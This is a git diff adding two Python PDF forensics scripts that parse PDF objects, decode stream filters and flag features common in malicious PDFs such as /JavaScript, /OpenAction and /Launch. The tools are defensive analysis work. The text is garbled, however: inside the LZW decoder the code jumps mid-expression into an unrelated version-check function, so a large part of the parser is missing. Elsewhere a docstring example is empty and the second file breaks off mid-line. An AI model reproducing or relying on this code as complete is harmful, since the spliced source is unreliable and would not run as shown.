2013/02/16: Performance improvement in cPDFTokenizer by using StringIO for token building by Christophe Vandeplas; xrange replaced with range + 2013/02/16: V0.4.0 added http/https support; added error handling for missing file or URL; ; added support for ZIP file with password 'infected' + 2013/03/13: V0.4.1 fixes for Python 3 + 2013/04/11: V0.4.2 modified PrettyPrintSub for strings with unprintable characters + 2013/05/04: Added options searchstream, unfiltered, casesensitive, regex + 2013/09/18: V0.4.3 fixed regression bug -w option + +Todo: + - handle printf todo + - fix PrettyPrint + - support for JS hex string EC61C64349DB8D88AF0523C4C06E0F4D.pdf.vir + +""" + +import re +import optparse +import zlib +import binascii +import hashlib +import sys +import zipfile +if sys.version_info[0] >= 3: + from io import StringIO + import urllib.request + urllib23 = urllib.request +else: + from cStringIO import StringIO + import urllib2 + urllib23 = urllib2 + +CHAR_WHITESPACE = 1 +CHAR_DELIMITER = 2 +CHAR_REGULAR = 3 + +CONTEXT_NONE = 1 +CONTEXT_OBJ = 2 +CONTEXT_XREF = 3 +CONTEXT_TRAILER = 4 + +PDF_ELEMENT_COMMENT = 1 +PDF_ELEMENT_INDIRECT_OBJECT = 2 +PDF_ELEMENT_XREF = 3 +PDF_ELEMENT_TRAILER = 4 +PDF_ELEMENT_STARTXREF = 5 +PDF_ELEMENT_MALFORMED = 6 + +#Convert 2 Bytes If Python 3 +def C2BIP3(string): + if sys.version_info[0] > 2: + return bytes([ord(x) for x in string]) + else: + return string + +def CopyWithoutWhiteSpace(content): + result = [] + for token in content: + if token[0] != CHAR_WHITESPACE: + result.append(token) + return result + +def Obj2Str(content): + return ''.join(map(lambda x: repr(x[1])[1:-1], CopyWithoutWhiteSpace(content))) + +class cPDFDocument: + def __init__(self, file): + self.file = file + if file.lower().startswith('http://') or file.lower().startswith('https://'): + try: + if sys.hexversion >= 0x020601F0: + self.infile = urllib23.urlopen(file, timeout=5) + else: + self.infile = urllib23.urlopen(file) + except urllib23.HTTPError: + print('Error accessing URL %s' % file) + print(sys.exc_info()[1]) + sys.exit() + elif file.lower().endswith('.zip'): + try: + self.zipfile = zipfile.ZipFile(file, 'r') + self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected')) + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + else: + try: + self.infile = open(file, 'rb') + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + self.ungetted = [] + self.position = -1 + + def byte(self): + if len(self.ungetted) != 0: + self.position += 1 + return self.ungetted.pop() + inbyte = self.infile.read(1) + if not inbyte or inbyte == '': + self.infile.close() + return None + self.position += 1 + return ord(inbyte) + + def unget(self, byte): + self.position -= 1 + self.ungetted.append(byte) + +def CharacterClass(byte): + if byte == 0 or byte == 9 or byte == 10 or byte == 12 or byte == 13 or byte == 32: + return CHAR_WHITESPACE + if byte == 0x28 or byte == 0x29 or byte == 0x3C or byte == 0x3E or byte == 0x5B or byte == 0x5D or byte == 0x7B or byte == 0x7D or byte == 0x2F or byte == 0x25: + return CHAR_DELIMITER + return CHAR_REGULAR + +def IsNumeric(str): + return re.match('^[0-9]+', str) + +class cPDFTokenizer: + def __init__(self, file): + self.oPDF = cPDFDocument(file) + self.ungetted = [] + + def Token(self): + if len(self.ungetted) != 0: + return self.ungetted.pop() + if self.oPDF == None: + return None + self.byte = self.oPDF.byte() + if self.byte == None: + self.oPDF = None + return None + elif CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_WHITESPACE, self.token) + elif CharacterClass(self.byte) == CHAR_REGULAR: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_REGULAR: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_REGULAR, self.token) + else: + if self.byte == 0x3C: + self.byte = self.oPDF.byte() + if self.byte == 0x3C: + return (CHAR_DELIMITER, '<<') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '<') + elif self.byte == 0x3E: + self.byte = self.oPDF.byte() + if self.byte == 0x3E: + return (CHAR_DELIMITER, '>>') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '>') + elif self.byte == 0x25: + file_str = StringIO() + while self.byte != None: + file_str.write(chr(self.byte)) + if self.byte == 10 or self.byte == 13: + self.byte = self.oPDF.byte() + break + self.byte = self.oPDF.byte() + if self.byte != None: + if self.byte == 10: + file_str.write(chr(self.byte)) + else: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_DELIMITER, self.token) + return (CHAR_DELIMITER, chr(self.byte)) + + def TokenIgnoreWhiteSpace(self): + token = self.Token() + while token != None and token[0] == CHAR_WHITESPACE: + token = self.Token() + return token + + def unget(self, byte): + self.ungetted.append(byte) + +class cPDFParser: + def __init__(self, file, verbose=False, extract=None): + self.context = CONTEXT_NONE + self.content = [] + self.oPDFTokenizer = cPDFTokenizer(file) + self.verbose = verbose + self.extract = extract + + def GetObject(self): + while True: + if self.context == CONTEXT_OBJ: + self.token = self.oPDFTokenizer.Token() + else: + self.token = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token: + if self.token[0] == CHAR_DELIMITER: + if self.token[1][0] == '%': + if self.context == CONTEXT_OBJ: + self.content.append(self.token) + else: + return cPDFElementComment(self.token[1]) + elif self.token[1] == '/': + self.token2 = self.oPDFTokenizer.Token() + if self.token2[0] == CHAR_REGULAR: + if self.context != CONTEXT_NONE: + self.content.append((CHAR_DELIMITER, self.token[1] + self.token2[1])) + elif self.verbose: + print('todo 1: %s' % (self.token[1] + self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 2: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 3: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[0] == CHAR_WHITESPACE: + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 4: %d %s' % (self.token[0], repr(self.token[1]))) + else: + if self.context == CONTEXT_OBJ: + if self.token[1] == 'endobj': + self.oPDFElementIndirectObject = cPDFElementIndirectObject(self.objectId, self.objectVersion, self.content) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementIndirectObject + else: + self.content.append(self.token) + elif self.context == CONTEXT_TRAILER: + if self.token[1] == 'startxref' or self.token[1] == 'xref': + self.oPDFElementTrailer = cPDFElementTrailer(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementTrailer + else: + self.content.append(self.token) + elif self.context == CONTEXT_XREF: + if self.token[1] == 'trailer' or self.token[1] == 'xref': + self.oPDFElementXref = cPDFElementXref(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementXref + else: + self.content.append(self.token) + else: + if IsNumeric(self.token[1]): + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if IsNumeric(self.token2[1]): + self.token3 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token3[1] == 'obj': + self.objectId = eval(self.token[1]) + self.objectVersion = eval(self.token2[1]) + self.context = CONTEXT_OBJ + else: + self.oPDFTokenizer.unget(self.token3) + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 6: %d %s' % (self.token[0], repr(self.token[1]))) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 7: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[1] == 'trailer': + self.context = CONTEXT_TRAILER + self.content = [self.token] + elif self.token[1] == 'xref': + self.context = CONTEXT_XREF + self.content = [self.token] + elif self.token[1] == 'startxref': + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token2 and IsNumeric(self.token2[1]): + return cPDFElementStartxref(eval(self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 9: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.extract: + self.bytes = '' + while self.token: + self.bytes += self.token[1] + self.token = self.oPDFTokenizer.Token() + return cPDFElementMalformed(self.bytes) + elif self.verbose: + print('todo 10: %d %s' % (self.token[0], repr(self.token[1]))) + else: + break + +class cPDFElementComment: + def __init__(self, comment): + self.type = PDF_ELEMENT_COMMENT + self.comment = comment +# if re.match('^%PDF-[0-9]\.[0-9]', self.token[1]): +# print(repr(self.token[1])) +# elif re.match('^%%EOF', self.token[1]): +# print(repr(self.token[1])) + +class cPDFElementXref: + def __init__(self, content): + self.type = PDF_ELEMENT_XREF + self.content = content + +class cPDFElementTrailer: + def __init__(self, content): + self.type = PDF_ELEMENT_TRAILER + self.content = content + +def IIf(expr, truepart, falsepart): + if expr: + return truepart + else: + return falsepart + +class cPDFElementIndirectObject: + def __init__(self, id, version, content): + self.type = PDF_ELEMENT_INDIRECT_OBJECT + self.id = id + self.version = version + self.content = content + + def GetType(self): + content = CopyWithoutWhiteSpace(self.content) + dictionary = 0 + for i in range(0, len(content)): + if content[i][0] == CHAR_DELIMITER and content[i][1] == '<<': + dictionary += 1 + if content[i][0] == CHAR_DELIMITER and content[i][1] == '>>': + dictionary -= 1 + if dictionary == 1 and content[i][0] == CHAR_DELIMITER and EqualCanonical(content[i][1], '/Type') and i < len(content) - 1: + return content[i+1][1] + return '' + + def GetReferences(self): + content = CopyWithoutWhiteSpace(self.content) + references = [] + for i in range(0, len(content)): + if i > 1 and content[i][0] == CHAR_REGULAR and content[i][1] == 'R' and content[i-2][0] == CHAR_REGULAR and IsNumeric(content[i-2][1]) and content[i-1][0] == CHAR_REGULAR and IsNumeric(content[i-1][1]): + references.append((content[i-2][1], content[i-1][1], content[i][1])) + return references + + def References(self, index): + for ref in self.GetReferences(): + if ref[0] == index: + return True + return False + + def ContainsStream(self): + for i in range(0, len(self.content)): + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + return self.content[0:i] + return False + + def Contains(self, keyword): + data = '' + for i in range(0, len(self.content)): + if self.content[i][1] == 'stream': + break + else: + data += Canonicalize(self.content[i][1]) + return data.upper().find(keyword.upper()) != -1 + + def StreamContains(self, keyword, filter, casesensitive, regex): + if not self.ContainsStream(): + return False + streamData = self.Stream(filter) + if filter and streamData == 'No filters': + streamData = self.Stream(False) + if regex: + return re.search(keyword, streamData, IIf(casesensitive, 0, re.I)) + elif casesensitive: + return keyword in streamData + else: + return keyword.lower() in streamData.lower() + + def Stream(self, filter=True): + state = 'start' + countDirectories = 0 + data = '' + filters = [] + for i in range(0, len(self.content)): + if state == 'start': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '<<': + countDirectories += 1 + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '>>': + countDirectories -= 1 + if countDirectories == 1 and self.content[i][0] == CHAR_DELIMITER and EqualCanonical(self.content[i][1], '/Filter'): + state = 'filter' + elif countDirectories == 0 and self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'filter': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters = [self.content[i][1]] + state = 'search-stream' + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '[': + state = 'filter-list' + elif state == 'filter-list': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters.append(self.content[i][1]) + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == ']': + state = 'search-stream' + elif state == 'search-stream': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'stream-whitespace': + if self.content[i][0] != CHAR_WHITESPACE: + data += self.content[i][1] + state = 'stream-concat' + elif state == 'stream-concat': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'endstream': + if filter: + return self.Decompress(data, filters) + else: + return data + else: + data += self.content[i][1] + else: + return 'Unexpected filter state' + return filters + + def Decompress(self, data, filters): + for filter in filters: + if EqualCanonical(filter, '/FlateDecode') or EqualCanonical(filter, '/Fl'): + try: + data = FlateDecode(data) + except zlib.error, e: + message = 'FlateDecode decompress failed' + if len(data) > 0 and ord(data[0]) & 0x0F != 8: + message += ', unexpected compression method: %02x' % ord(data[0]) + return message + '. zlib.error %s' % e.message + elif EqualCanonical(filter, '/ASCIIHexDecode') or EqualCanonical(filter, '/AHx'): + try: + data = ASCIIHexDecode(data) + except: + return 'ASCIIHexDecode decompress failed' + elif EqualCanonical(filter, '/ASCII85Decode') or EqualCanonical(filter, '/A85'): + try: + data = ASCII85Decode(data.rstrip('>')) + except: + return 'ASCII85Decode decompress failed' + elif EqualCanonical(filter, '/LZWDecode') or EqualCanonical(filter, '/LZW'): + try: + data = LZWDecode(data) + except: + return 'LZWDecode decompress failed' + elif EqualCanonical(filter, '/RunLengthDecode') or EqualCanonical(filter, '/R'): + try: + data = RunLengthDecode(data) + except: + return 'RunLengthDecode decompress failed' +# elif i.startswith('/CC') # CCITTFaxDecode +# elif i.startswith('/DCT') # DCTDecode + else: + return 'Unsupported filter: %s' % repr(filters) + if len(filters) == 0: + return 'No filters' + else: + return data + +class cPDFElementStartxref: + def __init__(self, index): + self.type = PDF_ELEMENT_STARTXREF + self.index = index + +class cPDFElementMalformed: + def __init__(self, content): + self.type = PDF_ELEMENT_MALFORMED + self.content = content + +def TrimLWhiteSpace(data): + while data != [] and data[0][0] == CHAR_WHITESPACE: + data = data[1:] + return data + +def TrimRWhiteSpace(data): + while data != [] and data[-1][0] == CHAR_WHITESPACE: + data = data[:-1] + return data + +class cPDFParseDictionary: + def __init__(self, content, nocanonicalizedoutput): + self.content = content + self.nocanonicalizedoutput = nocanonicalizedoutput + dataTrimmed = TrimLWhiteSpace(TrimRWhiteSpace(self.content)) + if dataTrimmed == []: + self.parsed = None + elif self.isOpenDictionary(dataTrimmed[0]) and self.isCloseDictionary(dataTrimmed[-1]): + self.parsed = self.ParseDictionary(dataTrimmed)[0] + else: + self.parsed = None + + def isOpenDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '<<' + + def isCloseDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '>>' + + def ParseDictionary(self, tokens): + state = 0 # start + dictionary = [] + while tokens != []: + if state == 0: + if self.isOpenDictionary(tokens[0]): + state = 1 + else: + return None, tokens + elif state == 1: + if self.isOpenDictionary(tokens[0]): + pass + elif self.isCloseDictionary(tokens[0]): + return dictionary, tokens + elif tokens[0][0] != CHAR_WHITESPACE: + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + elif state == 2: + if self.isOpenDictionary(tokens[0]): + value, tokens = self.ParseDictionary(tokens) + dictionary.append((key, value)) + state = 1 + elif self.isCloseDictionary(tokens[0]): + dictionary.append((key, value)) + return dictionary, tokens + elif value == [] and tokens[0][0] == CHAR_WHITESPACE: + pass + elif value == [] and tokens[0][1] == '[': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] != ']': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] == ']': + value.append(tokens[0][1]) + dictionary.append((key, value)) + value = [] + state = 1 + elif value != [] and tokens[0][1][0] == '/': + dictionary.append((key, value)) + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + else: + value.append(ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput)) + tokens = tokens[1:] + + def retrieve(self): + return self.parsed + + def PrettyPrintSub(self, prefix, dictionary): + if dictionary != None: + print('%s<<' % prefix) + for e in dictionary: + if e[1] == []: + print('%s %s' % (prefix, e[0])) + elif type(e[1][0]) == type(''): + value = ''.join(e[1]).strip() + reprValue = repr(value) + if "'" + value + "'" != reprValue: + value = reprValue + print('%s %s %s' % (prefix, e[0], value)) + else: + print('%s %s' % (prefix, e[0])) + self.PrettyPrintSub(prefix + ' ', e[1]) + print('%s>>' % prefix) + + def PrettyPrint(self, prefix): + self.PrettyPrintSub(prefix, self.parsed) + +def FormatOutput(data, raw): + if raw: + if type(data) == type([]): + return ''.join(map(lambda x: x[1], data)) + else: + return data + else: + return repr(data) + +def PrintObject(object, options): + print('obj %d %d' % (object.id, object.version)) + print(' Type: %s' % ConditionalCanonicalize(object.GetType(), options.nocanonicalizedoutput)) + print(' Referencing: %s' % ', '.join(map(lambda x: '%s %s %s' % x, object.GetReferences()))) + dataPrecedingStream = object.ContainsStream() + oPDFParseDictionary = None + if dataPrecedingStream: + print(' Contains stream') + if options.debug: + print(' %s' % FormatOutput(dataPrecedingStream, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(dataPrecedingStream, options.nocanonicalizedoutput) + else: + if options.debug or options.raw: + print(' %s' % FormatOutput(object.content, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(object.content, options.nocanonicalizedoutput) + print('') + oPDFParseDictionary.PrettyPrint(' ') + print('') + if options.filter and not options.dump: + filtered = object.Stream() + if filtered == []: + print(' %s' % FormatOutput(object.content, options.raw)) + else: + print(' %s' % FormatOutput(filtered, options.raw)) + if options.content: + if object.ContainsStream(): + stream = object.Stream(False) + if stream != []: + print(' %s' % FormatOutput(stream, options.raw)) + else: + print(''.join([token[1] for token in object.content])) + + + if options.dump: + filtered = object.Stream(options.filter == True) + if filtered == []: + filtered = '' + try: + fDump = open(options.dump, 'wb') + try: + fDump.write(C2BIP3(filtered)) + except: + print('Error writing file %s' % options.dump) + fDump.close() + except: + print('Error writing file %s' % options.dump) + print('') + return + +def Canonicalize(sIn): + if sIn == '': + return sIn + elif sIn[0] != '/': + return sIn + elif sIn.find('#') == -1: + return sIn + else: + i = 0 + iLen = len(sIn) + sCanonical = '' + while i < iLen: + if sIn[i] == '#' and i < iLen - 2: + try: + sCanonical += chr(int(sIn[i+1:i+3], 16)) + i += 2 + except: + sCanonical += sIn[i] + else: + sCanonical += sIn[i] + i += 1 + return sCanonical + +def EqualCanonical(s1, s2): + return Canonicalize(s1) == s2 + +def ConditionalCanonicalize(sIn, nocanonicalizedoutput): + if nocanonicalizedoutput: + return sIn + else: + return Canonicalize(sIn) + +# http://code.google.com/p/pdfminerr/source/browse/trunk/pdfminer/pdfminer/ascii85.py +def ASCII85Decode(data): + import struct + n = b = 0 + out = '' + for c in data: + if '!' <= c and c <= 'u': + n += 1 + b = b*85+(ord(c)-33) + if n == 5: + out += struct.pack('>L',b) + n = b = 0 + elif c == 'z': + assert n == 0 + out += '\0\0\0\0' + elif c == '~': + if n: + for _ in range(5-n): + b = b*85+84 + out += struct.pack('>L',b)[:n-1] + break + return out + +def ASCIIHexDecode(data): + return binascii.unhexlify(''.join([c for c in data if c not in ' \t\n\r']).rstrip('>')) + +def FlateDecode(data): + return zlib.decompress(data) + +def RunLengthDecode(data): + f = StringIO(data) + decompressed = '' + runLength = ord(f.read(1)) + while runLength: + if runLength < 128: + decompressed += f.read(runLength + 1) + if runLength > 128: + decompressed += f.read(1) * (257 - runLength) + if runLength == 128: + break + runLength = ord(f.read(1)) +# return sub(r'(\d+)(\D)', lambda m: m.group(2) * int(m.group(1)), data) + return decompressed + +#### LZW code sourced from pdfminer +# Copyright (c) 2004-2009 Yusuke Shinyama +# +# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated +# documentation files (the "Software"), to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +class LZWDecoder(object): + def __init__(self, fp): + self.fp = fp + self.buff = 0 + self.bpos = 8 + self.nbits = 9 + self.table = None + self.prevbuf = None + return + + def readbits(self, bits): + v = 0 + while 1: + # the number of remaining bits we can get from the current buffer. + r = 8-self.bpos + if bits <= r: + # |-----8-bits-----| + # |-bpos-|-bits-| | + # | |----r----| + v = (v< >(r-bits)) & ((1< __maximum_python_version__: + if enforceMaximumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + if sys.version_info[0:3] < __minimum_python_version__: + if enforceMinimumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + +if __name__ == '__main__': + TestPythonVersion() + Main() diff --git a/Forensics/pdfid.py b/Forensics/pdfid.py new file mode 100755 index 0000000..cdf7c3c --- /dev/null +++ b/Forensics/pdfid.py @@ -0,0 +1,714 @@ +#!/usr/bin/env python + +__description__ = 'Tool to test a PDF file' +__author__ = 'Didier Stevens' +__version__ = '0.1.2' +__date__ = '2013/03/13' + +""" + +Tool to test a PDF file + +Source code put in public domain by Didier Stevens, no Copyright +https://DidierStevens.com +Use at your own risk + +History: + 2009/03/27: start + 2009/03/28: scan option + 2009/03/29: V0.0.2: xml output + 2009/03/31: V0.0.3: /ObjStm suggested by Dion + 2009/04/02: V0.0.4: added ErrorMessage + 2009/04/20: V0.0.5: added Dates + 2009/04/21: V0.0.6: added entropy + 2009/04/22: added disarm + 2009/04/29: finished disarm + 2009/05/13: V0.0.7: added cPDFEOF + 2009/07/24: V0.0.8: added /AcroForm and /RichMedia, simplified %PDF header regex, extra date format (without TZ) + 2009/07/25: added input redirection, option --force + 2009/10/13: V0.0.9: added detection for CVE-2009-3459; added /RichMedia to disarm + 2010/01/11: V0.0.10: relaxed %PDF header checking + 2010/04/28: V0.0.11: added /Launch + 2010/09/21: V0.0.12: fixed cntCharsAfterLastEOF bug; fix by Russell Holloway + 2011/12/29: updated for Python 3, added keyword /EmbeddedFile + 2012/03/03: added PDFiD2JSON; coded by Brandon Dixon + 2013/02/10: V0.1.0: added http/https support; added support for ZIP file with password 'infected' + 2013/03/11: V0.1.1: fixes for Python 3 + 2013/03/13: V0.1.2: Added error handling for files; added /XFA + +Todo: + - update XML example (entropy, EOF) + - code review, cleanup +""" + +import optparse +import os +import re +import xml.dom.minidom +import traceback +import math +import operator +import os.path +import sys +import json +import zipfile +try: + import urllib2 + urllib23 = urllib2 +except: + import urllib.request + urllib23 = urllib.request + +#Convert 2 Bytes If Python 3 +def C2BIP3(string): + if sys.version_info[0] > 2: + return bytes([ord(x) for x in string]) + else: + return string + +class cBinaryFile: + def __init__(self, file): + self.file = file + if file == '': + self.infile = sys.stdin + elif file.lower().startswith('http://') or file.lower().startswith('https://'): + try: + if sys.hexversion >= 0x020601F0: + self.infile = urllib23.urlopen(file, timeout=5) + else: + self.infile = urllib23.urlopen(file) + except urllib23.HTTPError: + print('Error accessing URL %s' % file) + print(sys.exc_info()[1]) + sys.exit() + elif file.lower().endswith('.zip'): + try: + self.zipfile = zipfile.ZipFile(file, 'r') + self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected')) + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + else: + try: + self.infile = open(file, 'rb') + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + self.ungetted = [] + + def byte(self): + if len(self.ungetted) != 0: + return self.ungetted.pop() + inbyte = self.infile.read(1) + if not inbyte or inbyte == '': + self.infile.close() + return None + return ord(inbyte) + + def bytes(self, size): + if size <= len(self.ungetted): + result = self.ungetted[0:size] + del self.ungetted[0:size] + return result + inbytes = self.infile.read(size - len(self.ungetted)) + if inbytes == '': + self.infile.close() + if type(inbytes) == type(''): + result = self.ungetted + [ord(b) for b in inbytes] + else: + result = self.ungetted + [b for b in inbytes] + self.ungetted = [] + return result + + def unget(self, byte): + self.ungetted.append(byte) + + def ungets(self, bytes): + bytes.reverse() + self.ungetted.extend(bytes) + +class cPDFDate: + def __init__(self): + self.state = 0 + + def parse(self, char): + if char == 'D': + self.state = 1 + return None + elif self.state == 1: + if char == ':': + self.state = 2 + self.digits1 = '' + else: + self.state = 0 + return None + elif self.state == 2: + if len(self.digits1) < 14: + if char >= '0' and char <= '9': + self.digits1 += char + return None + else: + self.state = 0 + return None + elif char == '+' or char == '-' or char == 'Z': + self.state = 3 + self.digits2 = '' + self.TZ = char + return None + elif char == '"': + self.state = 0 + self.date = 'D:' + self.digits1 + return self.date + elif char < '0' or char > '9': + self.state = 0 + self.date = 'D:' + self.digits1 + return self.date + else: + self.state = 0 + return None + elif self.state == 3: + if len(self.digits2) < 2: + if char >= '0' and char <= '9': + self.digits2 += char + return None + else: + self.state = 0 + return None + elif len(self.digits2) == 2: + if char == "'": + self.digits2 += char + return None + else: + self.state = 0 + return None + elif len(self.digits2) < 5: + if char >= '0' and char <= '9': + self.digits2 += char + if len(self.digits2) == 5: + self.state = 0 + self.date = 'D:' + self.digits1 + self.TZ + self.digits2 + return self.date + else: + return None + else: + self.state = 0 + return None + +def fEntropy(countByte, countTotal): + x = float(countByte) / countTotal + if x > 0: + return - x * math.log(x, 2) + else: + return 0.0 + +class cEntropy: + def __init__(self): + self.allBucket = [0 for i in range(0, 256)] + self.streamBucket = [0 for i in range(0, 256)] + + def add(self, byte, insideStream): + self.allBucket[byte] += 1 + if insideStream: + self.streamBucket[byte] += 1 + + def removeInsideStream(self, byte): + if self.streamBucket[byte] > 0: + self.streamBucket[byte] -= 1 + + def calc(self): + self.nonStreamBucket = map(operator.sub, self.allBucket, self.streamBucket) + allCount = sum(self.allBucket) + streamCount = sum(self.streamBucket) + nonStreamCount = sum(self.nonStreamBucket) + return (allCount, sum(map(lambda x: fEntropy(x, allCount), self.allBucket)), streamCount, sum(map(lambda x: fEntropy(x, streamCount), self.streamBucket)), nonStreamCount, sum(map(lambda x: fEntropy(x, nonStreamCount), self.nonStreamBucket))) + +class cPDFEOF: + def __init__(self): + self.token = '' + self.cntEOFs = 0 + + def parse(self, char): + if self.cntEOFs > 0: + self.cntCharsAfterLastEOF += 1 + if self.token == '' and char == '%': + self.token += char + return + elif self.token == '%' and char == '%': + self.token += char + return + elif self.token == '%%' and char == 'E': + self.token += char + return + elif self.token == '%%E' and char == 'O': + self.token += char + return + elif self.token == '%%EO' and char == 'F': + self.token += char + return + elif self.token == '%%EOF' and (char == '\n' or char == '\r' or char == ' ' or char == '\t'): + self.cntEOFs += 1 + self.cntCharsAfterLastEOF = 0 + if char == '\n': + self.token = '' + else: + self.token += char + return + elif self.token == '%%EOF\r': + if char == '\n': + self.cntCharsAfterLastEOF = 0 + self.token = '' + else: + self.token = '' + +def FindPDFHeaderRelaxed(oBinaryFile): + bytes = oBinaryFile.bytes(1024) + index = ''.join([chr(byte) for byte in bytes]).find('%PDF') + if index == -1: + oBinaryFile.ungets(bytes) + return ([], None) + for endHeader in range(index + 4, index + 4 + 10): + if bytes[endHeader] == 10 or bytes[endHeader] == 13: + break + oBinaryFile.ungets(bytes[endHeader:]) + return (bytes[0:endHeader], ''.join([chr(byte) for byte in bytes[index:endHeader]])) + +def Hexcode2String(char): + if type(char) == int: + return '#%02x' % char + else: + return char + +def SwapCase(char): + if type(char) == int: + return ord(chr(char).swapcase()) + else: + return char.swapcase() + +def HexcodeName2String(hexcodeName): + return ''.join(map(Hexcode2String, hexcodeName)) + +def SwapName(wordExact): + return map(SwapCase, wordExact) + +def UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut): + if word != '': + if slash + word in words: + words[slash + word][0] += 1 + if hexcode: + words[slash + word][1] += 1 + elif slash == '/' and allNames: + words[slash + word] = [1, 0] + if hexcode: + words[slash + word][1] += 1 + if slash == '/': + lastName = slash + word + if slash == '': + if word == 'stream': + insideStream = True + if word == 'endstream': + if insideStream == True and oEntropy != None: + for char in 'endstream': + oEntropy.removeInsideStream(ord(char)) + insideStream = False + if fOut != None: + if slash == '/' and '/' + word in ('/JS', '/JavaScript', '/AA', '/OpenAction', '/JBIG2Decode', '/RichMedia', '/Launch'): + wordExactSwapped = HexcodeName2String(SwapName(wordExact)) + fOut.write(C2BIP3(wordExactSwapped)) + print('/%s -> /%s' % (HexcodeName2String(wordExact), wordExactSwapped)) + else: + fOut.write(C2BIP3(HexcodeName2String(wordExact))) + return ('', [], False, lastName, insideStream) + +class cCVE_2009_3459: + def __init__(self): + self.count = 0 + + def Check(self, lastName, word): + if (lastName == '/Colors' and word.isdigit() and int(word) > 2^24): # decided to alert when the number of colors is expressed with more than 3 bytes + self.count += 1 + +def PDFiD(file, allNames=False, extraData=False, disarm=False, force=False): + """Example of XML output: + + + """ + + word = '' + wordExact = [] + hexcode = False + lastName = '' + insideStream = False + keywords = ('obj', + 'endobj', + 'stream', + 'endstream', + 'xref', + 'trailer', + 'startxref', + '/Page', + '/Encrypt', + '/ObjStm', + '/JS', + '/JavaScript', + '/AA', + '/OpenAction', + '/AcroForm', + '/JBIG2Decode', + '/RichMedia', + '/Launch', + '/EmbeddedFile', + '/XFA', + ) + words = {} + dates = [] + for keyword in keywords: + words[keyword] = [0, 0] + slash = '' + xmlDoc = xml.dom.minidom.getDOMImplementation().createDocument(None, 'PDFiD', None) + att = xmlDoc.createAttribute('Version') + att.nodeValue = __version__ + xmlDoc.documentElement.setAttributeNode(att) + att = 